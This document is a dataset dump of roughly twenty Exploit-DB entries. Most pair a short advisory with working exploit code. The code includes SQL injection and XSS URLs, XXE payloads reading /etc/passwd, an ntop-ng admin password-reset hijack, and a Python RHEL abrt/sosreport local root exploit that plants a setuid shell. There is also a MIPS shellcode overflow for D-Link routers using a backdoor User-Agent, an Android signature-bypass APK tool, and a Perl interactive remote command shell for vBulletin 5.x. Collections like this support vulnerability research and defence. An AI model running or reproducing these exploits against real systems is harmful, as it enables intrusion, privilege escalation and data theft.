QLWD/code_shield huggingface dataset:
标题: Testa OTMS - Multiple SQL Injections EDB-ID: 38842 CVE: 2013-6873 类型: WEBAPPS 平台: PHP 发布日期: 2013-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/63773/info

Testa OTMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

Testa OTMS 2.0.0.2 is vulnerable; other version may also be vulnerable. 

http://www.example.com /?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+
http://www.example.com/test/admin/index.php URL: https://www.exploit-db.com/exploits/38842
标题: ntop-ng 2.0.151021 - Privilege Escalation EDB-ID: 38836 CVE: 2015-8368 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2015-12-01 漏洞利用脚本: # Vulnerability title: ntop-ng <= 2.0.151021 - Privilege Escalation
# Author: Dolev Farhi
# Contact: dolev at flaresec.com
# Vulnerable version: 2.0.151021
# Fixed version: 2.2
# Link: ntop.org
# Date 27.11.2015
# CVE-2015-8368

# Product Details:
ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.

# Vulnerability Details:
in the latest stable release of ntop-ng it is possible to escalate the privileges of a non-privileged user to the admin account by resetting the password, intercepting the request and replacing the HTTP parameters.

# Vulnerability Proof of concept
1. Login with an unprivileged account
2. Change the account password and intercept the request, modify  the username= and Cookie user= and change to the admin account
Example:
GET /lua/admin/password_reset.lua?csrf=XXXXXXXXXXXXXXXXXX&username=admin&old_password=12345&new_password=123456&confirm_new_password=123456 HTTP/1.1
Cookie: user=admin; session=XXXXXXXXXXXXXXXXXXXXXXXXX
3. Login with the admin account and the password you defined in step #3.

Voila! you're an administrator. URL: https://www.exploit-db.com/exploits/38836
标题: Nagios XI - 'tfPassword' SQL Injection EDB-ID: 38827 CVE: 2013-6875 类型: REMOTE 平台: PHP 发布日期: 2013-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/63754/info

Nagios XI is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Nagios XI 2012R2.4 are vulnerable. 

POST /nagiosql/index.php HTTP/1.1
Host: localhost
Content-Length: 69
Origin: http://locahost
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76
Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/nagiosql/
Cookie: PHPSESSID=httj04vv2g028sbs73v9dqoqs3

tfUsername=test&tfPassword=%27%29+OR+1%3D1+limit+1%3B--+&Submit=Login URL: https://www.exploit-db.com/exploits/38827
标题: RHEL 7.0/7.1 - 'abrt/sosreport' Local Privilege Escalation EDB-ID: 38832 CVE: 2015-5287 类型: LOCAL 平台: LINUX 发布日期: 2015-12-01 漏洞利用脚本: #!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015

# [user@localhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory:  /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport:  sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles:  ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release 
# Red Hat Enterprise Linux Server release 7.1 (Maipo)

import os,sys,glob,time,sys,socket

payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"

pid = os.fork()

if pid == 0:
 os.execl("/usr/bin/sleep","sleep","100")

time.sleep(0.5)

print "crashing pid %d" % pid

os.kill(pid,11)

print "waiting for dump directory"

def waitpath(p):
 while 1:
  r = glob.glob(p)
  if len(r) > 0:
   return r
  time.sleep(0.05) 

dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]

print "dump directory: ", dumpdir

os.chdir(dumpdir)

print "waiting for sosreport directory"

sosreport = waitpath("sosreport-*")[0]

print "sosreport: ", sosreport

print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")

print "tmpfiles: ", tmpfiles

print "moving directory"

os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)

os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)

os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")

print "moving tmpfiles"

for x in tmpfiles:
 print "%s -> %s" % (x,x + ".old")
 os.rename(x, x + ".old")
 open(x, "w+").write("/tmp/hax.sh\n")
 os.chmod(x,0666)


os.chdir("/")

sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")


def trigger():
 open("/tmp/hax.sh","w+").write(payload)
 os.chmod("/tmp/hax.sh",0755)
 try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
 except: pass
 time.sleep(0.5)
 try:
  os.stat("/tmp/sh")
 except:
  print "could not create suid"
  sys.exit(-1)
 print "success"
 os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
 sys.exit(-1)

for x in xrange(0,60*10):
 if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
  print "done"
  trigger()
 time.sleep(1)
 sys.stderr.write(".")

print "timed out" URL: https://www.exploit-db.com/exploits/38832
标题: DELL Quest One Password Manager - CAPTCHA Security Bypass EDB-ID: 38812 CVE: 2013-6246 类型: REMOTE 平台: MULTIPLE 发布日期: 2011-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/63259/info

DELL Quest One Password Manager is prone to a security bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and gain access to sensitive areas of the application to perform unauthorized actions; this may aid in launching further attacks. 

ScenarioActionId=42696720-7368-6974-2070-726F64756374&UserName=domain%5Cuser&Search=false URL: https://www.exploit-db.com/exploits/38812
标题: IBM Cognos Business Intelligence - XML External Entity Information Disclosure EDB-ID: 38825 CVE: 2013-4034 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/63719/info

IBM Cognos Business Intelligence is prone to an information-disclosure vulnerability due to an error when parsing XML external entities.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

IBM Cognos Business Intelligence 10.2.1 and prior are vulnerable. 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ELEMENT comments ANY >
 <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>

<ob:Openbravo xmlns:ob="http://www.example.com"
xmlns:xsi="http://www.example1.com/2001/XMLSchema-instance">
        <Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Piñ,5L">
                <id>C970393BDF6C43E2B030D23482D88EED</id>
                <comments>&xxe;</comments>
        </Product>
</ob:Openbravo> URL: https://www.exploit-db.com/exploits/38825
标题: Poppler 0.14.3 - '/utils/pdfseparate.cc' Local Format String EDB-ID: 38817 CVE: 2013-4474 类型: LOCAL 平台: LINUX 发布日期: 2013-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/63374/info

Poppler is prone to a local format-string vulnerability because it fails to sanitize user-supplied input.

An attacker may exploit this issue to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely result in a denial-of-service condition.

Versions prior to Poppler 0.24.3 are vulnerable. 

./pdfseparate -f 1 -l 1 aPdfFile.pdf "%x%x%x%x%x%x%n" URL: https://www.exploit-db.com/exploits/38817
标题: Openbravo ERP - XML External Entity Information Disclosure EDB-ID: 38818 CVE: 2013-3617 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/63431/info

Openbravo ERP is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

Openbravo ERP 2.5 and 3.0 are vulnerable. 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ELEMENT comments ANY >
 <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>

<ob:Openbravo xmlns:ob="http://www.example.com"
xmlns:xsi="http://www.example1.com/2001/XMLSchema-instance">
        <Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Piñ,5L">
                <id>C970393BDF6C43E2B030D23482D88EED</id>
                <comments>&xxe;</comments>
        </Product>
</ob:Openbravo> URL: https://www.exploit-db.com/exploits/38818
标题: Apache Shindig - XML External Entity Information Disclosure EDB-ID: 38813 CVE: 2013-4295 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/63260/info

Apache Shindig is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

Apache Shindig 2.5.0 is vulnerable. 

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE Module [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <Module> 
<ModulePrefs title="Test Application"> <Require feature="opensocial-0.9" /> 
</ModulePrefs> <Content type="html"> &passwd; hello </Content> </Module> URL: https://www.exploit-db.com/exploits/38813
标题: D-Link / PLANEX COMMUNICATIONS - 'RuntimeDiagnosticPing()' Remote Stack Buffer Overflow EDB-ID: 38810 CVE: 2013-6027 类型: REMOTE 平台: HARDWARE 发布日期: 2013-10-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/63234/info

Multiple Vendors are prone to a stack-based buffer-overflow vulnerability.

Exploiting this vulnerability may allow attackers to execute arbitrary code in the context of the affected devices.

The following are vulnerable:

D-Link DIR-120
D-Link DI-624S
D-Link DI-524UP
D-Link DI-604S
D-Link DI-604UP
D-Link DI-604
D-Link DIR-100
D-Link TM-G5240
PLANEX COMMUNICATIONS BRL-04UR
PLANEX COMMUNICATIONS BRL-04R
PLANEX COMMUNICATIONS BRL-04CW 

import sys
import urllib2

try:
 url = 'http://%s/Tools/tools_misc.xgi?domain=a&set/runtime/diagnostic/pingIp=' % sys.argv[1]
except Exception, e:
 print str(e)
 print 'Usage: %s <target ip>' % sys.argv[0]
 sys.exit(1)

# This is the actual payload; here it is a simple reboot shellcode.
# This payload size is limited to about 200 bytes, otherwise you'll crash elsewhere in /bin/webs.
payload  = "\x3c\x06\x43\x21" # lui     a2,0x4321
payload += "\x34\xc6\xfe\xdc" # ori     a2,a2,0xfedc
payload += "\x3c\x05\x28\x12" # lui     a1,0x2812
payload += "\x34\xa5\x19\x69" # ori     a1,a1,0x1969
payload += "\x3c\x04\xfe\xe1" # lui     a0,0xfee1
payload += "\x34\x84\xde\xad" # ori     a0,a0,0xdead
payload += "\x24\x02\x0f\xf8" # li      v0,4088
payload += "\x01\x01\x01\x0c" # syscall 0x40404

# The payload is split up; some of it before the return address on the stack, some after.
# This little snippet skips over the return address during execution.
# It assumes that your shellcode will not be using the $fp or $t9 registers.
move_sp_fp = "\x03\xa0\xf0\x21" # move $fp, $sp
jump_code =  "\x27\xd9\x02\xd4" # addiu $t9, $fp, 724
jump_code += "\x03\x21\xf8\x08" # jr $t9
jump_code += "\x27\xE0\xFE\xFE" # addiu $zero, $ra, -0x102

# Stitch together the payload chunk(s) and jump_code snippet
shellcode_p1 = move_sp_fp + payload[0:68] + jump_code + "DD"
if len(shellcode_p1) < 86:
 shellcode_p1 += "D" * (86 - len(shellcode_p1))
 shellcode_p2 = ""
else:
 shellcode_p2 = "DD" + payload[68:]

# Build the overflow buffer, with the return address and shellcode
# libc.so base address and ROP gadget offset for the DIR-100, revA, v1.13
# libc_base = 0x2aaee000
# ret_offset = 0x3243C
buf = shellcode_p1 + "\x2A\xB2\x04\x3C" + shellcode_p2

# Normally only admins can access the tools_misc.xgi page; use the backdoor user-agent to bypass authentication
req = urllib2.Request(url+buf, headers={'User-Agent' : 'xmlset_roodkcableoj28840ybtide'})
urllib2.urlopen(req) URL: https://www.exploit-db.com/exploits/38810
标题: Google Android - Signature Verification Security Bypass EDB-ID: 38821 CVE: 2013-6792 类型: REMOTE 平台: ANDROID 发布日期: 2013-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/63547/info

Google Android is prone to a security-bypass vulnerability.

Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. This may aid in further attacks.

Android 4.4 is vulnerable; other versions may also be affected. 

#!/usr/bin/python

import zipfile
import struct
import sys

# usage: ./pocB.py new.apk old.apk file data
zout = zipfile.ZipFile(sys.argv[1], "w")
zin = zipfile.ZipFile(sys.argv[2], "r")
replace = sys.argv[3]
new = open(sys.argv[4], 'r').read()

fp = zout.fp

for name in zin.namelist():
    old = zin.read(name)
    if name != replace:
        zout.writestr(name, old, zipfile.ZIP_DEFLATED)
    else:
        assert len(new) <= len(old)

        # write header, old data, and record offset
        zout.writestr(name, old, zipfile.ZIP_STORED)
        offset = fp.tell()

        # return to name length, set to skip old data
        fp.seek(-len(old) -len(name) -4, 1)
        fp.write(struct.pack('<h', len(name) + len(old)))

        # after old data, write new data \0 padded
        fp.seek(offset)
        fp.write(new)
        fp.write('\0' * (len(old) - len(new)))

zout.close()
zin.close() URL: https://www.exploit-db.com/exploits/38821
标题: Bugzilla 4.2 - Tabular Reports Cross-Site Scripting EDB-ID: 38807 CVE: 2013-1743 类型: WEBAPPS 平台: CGI 发布日期: 2013-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/63205/info

Bugzilla is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to steal cookie-based authentication information, execute arbitrary client-side scripts in the context of the browser, and obtain sensitive information. Other attacks are also possible.

Bugzilla versions 4.1.1 through 4.2.6, and 4.3.1 through 4.4 are vulnerable.

Note: This issue exists due to an incomplete fix for CVE-2012-4189 (identified in BID 56504 - Bugzilla Multiple Cross Site Scripting and Information Disclosure Vulnerabilities). 

https://www.example.com/bugzilla-tip/report.cgi?x_axis_field=short_desc&y_axis_field=short_desc&z_axis_field=short_desc&no_redirect=1&query_format=report-table&short_desc_type=allwordssubstr&short_desc=&resolution=---&longdesc_type=allwordssubstr&longdesc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&deadlinefrom=&deadlineto=&bug_id=22386%2C22387&bug_id_type=anyexact&emailassigned_to1=1&emailtype1=substring&email1=&emailassigned_to2=1&emailreporter2=1&emailqa_contact2=1&emailcc2=1&emailtype2=substring&email2=&emaillongdesc3=1&emailtype3=substring&email3=&chfieldvalue=&chfieldfrom=&chfieldto=Now&j_top=AND&f1=noop&o1=noop&v1=&format=table&action=wrap URL: https://www.exploit-db.com/exploits/38807
标题: Bugzilla - 'editflagtypes.cgi' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 38806 CVE: 2013-1742 类型: WEBAPPS 平台: CGI 发布日期: 2013-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/63204/info

Bugzilla is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Bugzilla versions 2.17.1 through 4.0.10, 4.1.1 through 4.2.6 and 4.3.1 through 4.4 are vulnerable. 

http://www.example.com/bugzilla/editflagtypes.cgi?action=insert&can_fully_edit=1&id="><script>alert(1)</script>&token=&target_type=bug&check_clusions=1&name=test1&description=test2&product=TestProduct&component=TestComponent&categoryAction-include=Include&sortkey=1&is_active=on&is_requestable=on&cc_list=&is_requesteeble=on&is_multiplicable=on&grant_group=&request_group=

http://www.example.com/bugzilla/editflagtypes.cgi?action=insert&can_fully_edit=1&id=&token=&target_type=bug&check_clusions=1&name=test&description=test2&product=TestProduct&component=TestComponent&categoryAction-include=Include&sortkey=1"><script>alert(2)</script>&is_active=on&is_requestable=on&cc_list=&is_requesteeble=on&is_multiplicable=on&grant_group=&request_group= URL: https://www.exploit-db.com/exploits/38806
标题: SAP Sybase Adaptive Server Enterprise - XML External Entity Information Disclosure EDB-ID: 38805 CVE: 2013-6025 类型: REMOTE 平台: MULTIPLE 发布日期: 2015-11-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/63193/info

SAP Sybase Adaptive Server Enterprise is prone to an information-disclosure vulnerability.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

SAP Sybase Adaptive Server Enterprise 15.7 ESD 2 is vulnerable; other versions may also be affected. 

SELECT xmlextract('/', xmlparse('<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/passwd">]><content>&abc;</content>')) URL: https://www.exploit-db.com/exploits/38805
标题: Oracle GlassFish Server 2.1.1/3.0.1 - Multiple Subcomponent Resource Identifier Traversal Arbitrary File Access EDB-ID: 38802 CVE: 2013-3827 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/63052/info

Oracle JavaServer Faces is prone to multiple directory-traversal vulnerabilities.

Exploiting these issues may allow an attacker to obtain sensitive information that could aid in further attacks.

This vulnerability affects the following products and versions:

WebLogic Server 10.3.6.0, 12.1.1.0
GlassFish Server 2.1.1, 3.0.1, 3.1.2
JDeveloper 11.1.2.3.0, 11.1.2.4.0, 12.1.2.0.0 

http://www.example.com/someApp/javax.faces.resource.../WEB-INF/web.xml.jsf
http://www.example.com/someApp/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. URL: https://www.exploit-db.com/exploits/38802
标题: Microsoft Windows - Cursor Object Memory Leak (MS15-115) EDB-ID: 38794 CVE: 2015-6102 类型: DOS 平台: WINDOWS 发布日期: 2015-11-23 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=510

The attached poc crashes 32-bit Windows 7 with a screen resolution of 1024x768 and 32bit color depth. The crash occurs during a memmove opperation while copying the cursor content from unmapped memory. This could potentially be used by an attacker to leak kernel memory.

When reproducing this issue in VMWare, it is necessary to remove VMWare tools. In QEMU the issue reproduces reliably.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38794.zip URL: https://www.exploit-db.com/exploits/38794
标题: Mozilla Firefox - Cookie Verification Denial of Service EDB-ID: 38798 CVE: 2013-6167 类型: DOS 平台: MULTIPLE 发布日期: 2013-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/62969/info

Mozilla Firefox is prone to a denial-of-service vulnerability because it fails to verify the user supplied input.

Successfully exploiting this issue will allow an attacker to inject special characters into the browser's local cookie storage, resulting in the requested website always responding with an error message which is hosted on specific web server software (like lighttpd). This will cause a denial-of-service condition.

Firefox 19 is vulnerable; other versions may also be affected.

Note: This issue was previously covered in BID 58857 (Google Chrome and Mozilla Firefox Browser Cookie Verification Security Weakness), but has been moved to its own record for better documentation. 

http://www.example.com/?utm_source=test&utm_medium=test&utm_campaign=te%05st URL: https://www.exploit-db.com/exploits/38798
标题: Microsoft Windows Kernel - Device Contexts and NtGdiSelectBitmap Use-After-Free (MS15-115) EDB-ID: 38796 CVE: 2015-6100 类型: DOS 平台: WINDOWS 发布日期: 2015-11-23 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=505

The attached testcase triggers a use-after-free condition in win32k. The attached debugger output was triggered on Windows 7 with Special Pool enabled on win32k.sys. 
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38796.zip URL: https://www.exploit-db.com/exploits/38796
标题: Microsoft Windows - Race Condition DestroySMWP Use-After-Free (MS15-115) EDB-ID: 38795 CVE: 2015-6101 类型: DOS 平台: WINDOWS 发布日期: 2015-11-23 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=509

The attached testcase crashes Window 7 32-bit with Special Pool enabled on win32k.sys due to a use-after-free condition. The bug appears to be a race condition between two threads and multiple runs on the PoC might be required to trigger the bug. This is more reliable on systems with multiple cores.
---


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38795.zip URL: https://www.exploit-db.com/exploits/38795
标题: vBulletin 5.x - Remote Code Execution EDB-ID: 38790 CVE: 2015-7808 类型: WEBAPPS 平台: PHP 发布日期: 2015-11-23 漏洞利用脚本: #[+] Title:  Vbulletin 5.x - Remote Code Execution Exploit
#[+] Product: vbulletin
#[+] Vendor: http://vbulletin.com
#[+] Vulnerable Version(s): Vbulletin 5.x
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/reza.espargham
# Special Thanks : Mohammad Emad

system(($^O eq 'MSWin32') ? 'cls' : 'clear');

use LWP::UserAgent;
use LWP::Simple;
$ua = LWP::UserAgent ->new;

print "\n\t Enter Target [ Example:http://target.com/forum/ ]";
print "\n\n \t Enter Target : ";
$Target=<STDIN>;
chomp($Target);


$response=$ua->get($Target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:20:"echo%20$((0xfee10000))";}');

$source=$response->decoded_content;
if (($source =~ m/4276158464/i))
{
    $response=$ua->get($Target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:6:"whoami";}');
    $user=$response->decoded_content;
    chomp($user);
    print "\n Target Vulnerable ;)\n";
    while($cmd=="exit")
    {
        print "\n\n$user\$ ";
        $cmd=<STDIN>;
        chomp($cmd);
        if($cmd =~ m/exit/i){exit 0;}
        $len=length($cmd);
        $response=$ua->get($Target . '/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"%00*%00db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"system";}}s:12:"%00*%00recordset";s:'.$len.':"'.$cmd.'";}');
        print "\n".$response->decoded_content;

   }
}else{print "\ntarget is not Vulnerable\n\n"} URL: https://www.exploit-db.com/exploits/38790